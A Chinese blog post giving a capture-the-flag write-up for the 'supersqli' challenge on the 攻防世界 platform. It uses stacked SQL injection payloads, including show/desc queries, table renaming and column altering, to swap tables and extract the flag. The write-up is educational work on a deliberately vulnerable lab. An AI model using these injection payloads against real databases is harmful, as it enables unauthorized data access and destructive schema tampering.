攻防世界supersqli

supersqli
补充知识点
rename 命令格式: rename table 原表名 to 新表名
例如,在表myclass名字更改为youclass:
mysql>rename table myclass to youclass;
alter和change,使用change子句,语法有很大的不同。在change关键字之后,紧跟着的是你要修改的字段名,然后指定新字段名及类型,例子
mysql> alter table testalter_tbl change i j int

补充完成了这两个知识点我们来看题目

进入环境输入1a我们正常得到回显

在这里插入图片描述

所以判定为字符型sql注入,判断数据库有多少列

1' order by 3#

回显不正常,但by2回显正常确定为两列

-1' union select 1,2#

当使用联合注入判断回显位置的时候发现绊掉了一些关键字

在这里插入图片描述

我这里想使用堆叠注入来完成题目,我们使用show指令来查看数据库

1';show databases;#

在这里插入图片描述

接下来我们来show一下表

1';show tables;#

在这里插入图片描述

然后我们来看一下表的结构

-1';desc words;--+

在这里插入图片描述

1';desc `1919810931114514`;--+

在这里插入图片描述

根据这两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id

此时会想到禁用的函数并没有过滤掉rename和alert,所以我们可以采用修改表结构的方法来得到flag将words表明改为words1,再将数字名改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1';rename table `words` to `words1`;rename table `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

然后我们用这个语句即可查出flag

1' or 1 = 1#

得到flag

在这里插入图片描述

posted @ 2022-03-20 19:32  听梦外雪花飞  阅读(251)  评论(0)    收藏  举报